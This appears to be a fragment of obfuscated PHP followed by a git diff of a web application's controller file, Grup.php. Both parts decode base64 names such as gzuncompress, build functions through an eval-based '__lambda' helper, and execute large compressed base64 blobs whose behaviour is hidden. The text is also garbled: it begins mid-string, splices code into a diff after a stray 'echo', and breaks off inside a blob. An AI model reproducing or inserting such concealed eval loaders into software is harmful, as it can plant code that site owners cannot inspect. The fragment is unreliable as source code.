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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtv4li2fi9p/kM9jJQe9Zlu24R0o1I9YIINJoGyja8vLV8Km9iAO9z59edb2wYMmCQ1Z85I02Kn6QRf1l77W7dvbVv1+XM+/v4Hxte77HU8XYzuvrCvxfh6F86mL7N/eln2azCbLl5nafr9df6rPJ7/ksXZ51bqzee//PLL3ZdPhbDPf/t0+/nv//lEXvD53zi+Xhy5s/nG3LH4sSu3v96xQ0cv+tAoPPXr59u4jdu4jb/muAsmJhfayrIrm4JjrWeK1BjZ2+S3PGkia+bp+o8bVLdxG7dxG7dxG7dxG7dxG/9t47adcRu3cRu38dcdd743//5w/0f4PZiF3+++3BC5jdu4jdu4jdv4P43T1xce1Vm/Nf79T/yOehHX67ZmkTZJ564uZv4kiZyJNPUsadmVtTiYJA/l64Y1MfXTvqI12XfIaf7ZlfpZUNNSn93vroIJHwdCErmyuXN0cRfS82y7G4WyuXWm5iuO8f5U472tuHAtPvbomHWfX6+W5LaltS+nr47dz0gXfyzu/BpkCEbkCI1kr68rp1vP2mTBVsQ8SoLrofeCrp97dj/1p7i/HarDlmg9r8vy4xg6PHq2yDl6c/v82Kx3W1z0/NLc9HXx0Rf4sWfV066kpIHQ4INJP+220yXWmoUdk/OsxrLbimdhR1sPxr+v/I65wPqWrrBY+ba59Gzgt60vXVtd9fJ1RbosvXbbwKujxd3H7vp56ERPbO4u15XEFHrzvg18ZODf1jBvO9LkdEqy/JZoYH3j0FrE+3mD3Wz1JDTWrlVPXKz7aZImvRMMYZdJSFjssSKMMk8g+6YPnnU/73b6qSNIW9hlGkwkzrOf5115kQaylJD94Atr/F6HsNF3+IXL7FYHzmIcygznnQP8/Ym0ZL4yFnFOybodWo9EeMRhS5yHVp3wLvSg+d3Mlw383XiFj8BOGvMb8hPol4Wt5qyblHwA2Ht6N3tqHfwnge0wxyb2asyH8jUDW38qxl1ZgX4SdKM1AkvyS1zXlZndSz5Yn7o1c+lYtJZ15FvmEuucM2xknvDjEROz3AcbJJPPj2vk9/A9hQ+ElOafF+vHOiSak8c1NMfasWDvTr8OXAiL3AY1kxtE5ThCbFnwtUnKOVbMU0x45C9y4S+yhjiQOMd+zvHrVFxvZ9ne1rh3G7Jr0x3m4/L1wTbWJvYLfwwE8mNpDd1i4LwkGQ58LdTFsWOFGX0PZHMZ4hzsLgbyhnxn5+migjngo0rMbLw9+EndAZ4FbjP4CI+4LGEWzjyafxKW7FWxDquesetl8p8wDsbiq2tr5CPsvE9rsuqkx4VO5XxltE1dNeodnZOMbntjDhPpCX400HWxrZt9SWunIs4Nui1lqBmKqHGSMjSkgQq5WlsaWEZ7DH8zIEPFsZ5q8ApkDJCb6LtqGvCRtiLqxjwyMZfBYz5TjSDDxH+Dwh8MzVSGuqmIZuuedBqYxkYxgKfZlkzYXRoaZof0RE4SdeQk3cScujjEfCLyqwQdn6GzoRsanW9BHukEDzMH2hZ6maGojpm8Ybe9eFaNtA+9n3CdaXDSk2rcR6qpieY+D3GmrRqZou7XYormcH8/6ZMgwxl18XCfLpLMwTBNoY8mGclC1LFO3PesGwvR4JJIN+rKU9mf2+T3fdg5TLut5nntiFT4RCjHq2DcjLrA2LO4yJApfyKP5j71jXxPO9YF3NNfBR3K9+EMcdR1rHmkCuk6lNuUt9cDvbnI86qB4w3Igd/qoo7cuApt5cUlH5n2keM0zJ2u/HFz5nU0LnikPLrh4Yc8+SZyP36nFGtLf2JyT9tkv6YXvybW4atTr6P+J/M51r7JHMFcBqh/wOtQd8JaWHuahMtQr6P2BivExgvFhms/r9yaOH+axJxvrSONF5+7krMrfLJJ8e5tCXt85JgLO+KO5LlCynkdc/w06a98vcFsYHBp+4ljeg11Q2VY5HJ+77dg89Cm2iitA2kj+VNzEfAb0RWkhWMgd1jcb49qxpPeqi2u7TYd43d2O0M+SHe6YNI7b5mfvHEtsPQE1IWJFL93HeVll2qGVX+Cn79xbR/21fiAQ30S0qVm1Xl/OO+3pubOpbzSEQN2zO4HRg05sWPumH92zAQ2Y+scrE/W3vcF5KhOP1BtJXXOZA0tcBZrg3UrcZHHzvTiV+BAc2DXofoZ7K7dv1mxfHdNfl5HKMfyVJOv6cjWIqeJR3Xh5Q1ZqGFY8+ubcnJMhsjzHGrOtXWp8HfUifW18zbVBtTeGc2Fa6ADOMLETHqtsKUiXxttydBbAbjF5veubN57tjpTuPqKamMwMV+QE3ZODdghNpF7XhBDO9TMuS83aq6lTnuEGfzVETbgAs+RJqQ7khOyNTxHqqUtUHtGyB3LsKMgljZpgOu/M96IOOmI4AKIw20z8YFRaG1GrFa1ijjKP41uK0Ss8CnwQM0NfqNYoXMB4oris9vSwIuVUaWMRy5SkCuR06aDinlhe861QsR6OgpYviTMYe9xMS9yi0K+k+fVNa4T4OfIwdoE+HKwwdC1wPeE6KDzN1307WHlPbHbceFL/dQQTNT6/uzinuhcR3ECrveS51dxZAvII8i5wZTsE2V7LA6YtvI54fOo7+rDIG2MwO+JZ29Dq8/1WskBvzxXpTsV/BU+MVa2x3MjlXzmDGfZRQz0c65OHAa2hryHbsddeZa6X++p/CNOKuXh0CIOB2zBp8B16rbAI6+Haa+lcR50eRrWz3Gdd4/nLvDrlTHL1z7xa8gXFmEbJS56MeLAx7iaR8T5FHDy73qz8W3cTMDbduCcwDc5wzH/KOCq8D2f3WNysFXpnpe9nZsH3Er3gh8uUDv6rDY5rIc5+qUppHPHTmPvcfaA+EhdQ3pxSO42yganeiQucVVzPiWuFkrwc7vP++MwPJcDveYu2VmaT7FexMX91NaTxbecX2dkP9i6uD/IgGnNAz6ukS5Lxwlz9AH9NOCJ6+fcH9eCN6Y72Jzum6IXm/V07udQbojBVIm/6+d6i5lLnAB5g65VqEeh3iE95kFrGx7W0tPfwV9AfUFvofBckRcqfIsvrXt4apvCHxOyA+alfpaza0qN5CH+jvnyJQMf3qROTZ3hOvwQHmU9uZ+pDyAeT9coJGMLjKfhDLqkZexhn5+7HXPry1qa99nRLO9z6tOefrTr0VZpLh+9BHCG3QrMxvGO6oFnoQeZ3EeIl02v8N9LH9vfr21gp0JvkhWmyBlJAPnBNMjetl3+8Swn6mGtQS6vEm/IIh9DHanC+9R/82tLubnaJ+gnrNLnig25Chvmfq3HR7/ZEl7ooSYb1MI+6qQx63WQS4nXbpMqP0N/3GQ6f9SO+fpyGwbTPD7etOUUvTLFpbC3qchqea8i/nDuLLde4ALcWFxUxS6LV6XTplzA1nfUjfkJ7mX5/5oN81qwf1U4n+vX/Df8SIgxl0GxwCnbdcTmmSoczQG8eJ9h0XzoyuCA8vrqOkaUq6baCpxv69hJnt/f9SmVfOpqPijO//pt25wea3np0+Ei4mfuG/gefOOQL67KOq0Huki8Lq2OjYMfn+RzZRtU6VEVQ1hzMB28lTOL2Mg5xqXO5Tp/tV6Xc+pJ7F7Ey28fkXWSA85l5fh+UI76lhyuQs5Z3ih6Fj7vEXNuktuggoc/DPL8SbWP87mcv1zwqfM5hLwvs4UF7b+ADxcYYg59Qvua/SeX9nCsfc80e3CszfwNubV9jtvb9eRzzisOcZmtfIGbUj77RvX9sfnBGl6qUWwPGvhU54ZGiafNwN3QcyvkG9SnX9Tio+8U/dcVucjpz76woL1M4C8RDxZcY7NyBInx0KElrd/Aasp6v+0VnYGVJkhbj9l2LzsEr0x378jFNWZciX8hN+9ZyZa0P+Km7LvBx0HrLW7XYHuzdu205zzwnfNe9CWLqXaEExNxwY9pr5D2hf3k7XmCIxc+jZ+9Hct96nGOvmM3Kzlc76pt87xgC2GlDc7qdZEDo/9nTlrOo+HIRc96xY7AIcwQs3XHih4GU6WW1/BDDihyUpd4AHQ5648Yz0oi1uPj70uOhr5JRk8srKs5L/oBYDcPSQ8ZPQ9qyJU8zzAu4u9jdb+qpsrphPVLeZ5/g8uJW5dyJnHQXP+M4iK3USWfOL+/UckxsN6Q+BX1YxPSYcOd9RKNj9tVO9j1zMe2he0OfrLvD4kHwi5n/XaTcAMWtJdDvi+9Ut9n0rO3CXt2kA3G4tgXGvMr9R1YAZeOSnpMHOIYV3qSHD9Woz/K56uwZf3W3ife4ovwr1pRL9m1J35Cvn6VdxVz4P6P8NHj+pszZ9JY+a2EzX2IcT1idRx1qehL1Owq7z/jVodj0eX1ZZ5a6HCqa4f7sTpeQ38+PuSwBnxiGdAeKj3bsjP0fH1DNbURPY/QJLNtGvP3enjK11xo5fkd/vHiC5u8d78im54vmJIpDsfJue5Rbyu29vKO/aumO3YwUwTUBKs977b734ZJXzRbEf/c2mQu7qO9EOS4dd6/0nPF/ity7tKx+JjxeNrbawUfxWpd7EmW6wqrJ8G0n/mPx3pYqq8nNg0naRpuo6nD9g7vlxTHT/SssfPMfIRhqP/IPlV/TvtIH9in2nMXir0d3Yu/0bf0U9iKJ3vkc8d+hc9P6Zmvp7N9gn1dYFwL990Dx4pYKte1wx4D8lMwr5RvhWRDJjO0eD5IG4xLlr87dpTPKZuoicqfDnzBFtLkyvy7gtfu7znuX6cN+I9GPGMEvKrOv3p8A/7DdC7k9EdlXvHUrKhVAuVhc8v4TcEd9j7GjhNH7tC+XhifHAeX93NsD/t/4O4puN2Ld46XxF3EXSjHGeVQjz0Hiko9ZbkW0TN5ZX7ekx/qw8f952JfmHJ6SYd1aKsUa6ugpl70t0pHm4GP4jzqeK1POuBvlg+Qg8xd/k6GFveqsfi3rt2xsvi71KB5RsF+v/V9HFi+POxvU42pXtOH1nK6V03vw5gxYdo7nwdcB3PD75Po2/AedS3lXIvL3u676fo077nz689rxHltOeTw3I7aiMXe+ILboj7QfrvxTm8oTVmePeef1D+weJfy52Lg4L68nl3n2Rva2x2dxGhJJ9QW1jd7lsbeVYG8H+LJRb1al2UgVl9P+pLL54TUU8391kfkLsBX0WeU9xcKuWfPKT8q85CToGvNO8qFzKrnlO/23O/vF1x7pvmu7dg7XiNWF1Fzzn2BeIFnNrZ+zeSIK+X1UEpClqMpv8SjoKOsiJcq2/fraSlHL6vi22b6cP9ira3W6wdy5+XzsZP84dJ7NcmhR57Qu2kpfD26nl/15CN1Hn8jltGrBROySxucCWtBj+0I5gGbfF+z0GVyOL/P8/9y7j08Hyxj2bm21jjO4xV8WYaft5JrmO59l/dtqq185o8r9kGAr4MaR3sHiD/wesJN85WauQB/HtG+FO2DX4u3Mveo3EuQlSx/74ieMWprHzFU0in+3grDq7FRK8V/SnzjVP9vewyk+SXnub73d+A9Ffrme4gHDIp4v3wWcVj/npdVysp78v2aY/YOh35d1lscrNjf3ss6zcWomfQOm8vnGH1QfsHhSj3NNfnI9R/D9JQDnuwVn2N6lkPf9K/xm3uOJz5V6HjiT6VekOl7fA8A9X1KNf7r17svnz79518i/sp+/1R8+8eXH7m9dO9Hbvz7ccKf7uj/d/9zmPb2b6v9tf5ttVOb/3TiZLnJ//HlfwEIL/Hs'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Grup.php b/donjo-app/controllers/Grup.php index c4f473cbf..47a5f1ed0 100644 --- a/donjo-app/controllers/Grup.php +++ b/donjo-app/controllers/Grup.php @@ -224,7 +224,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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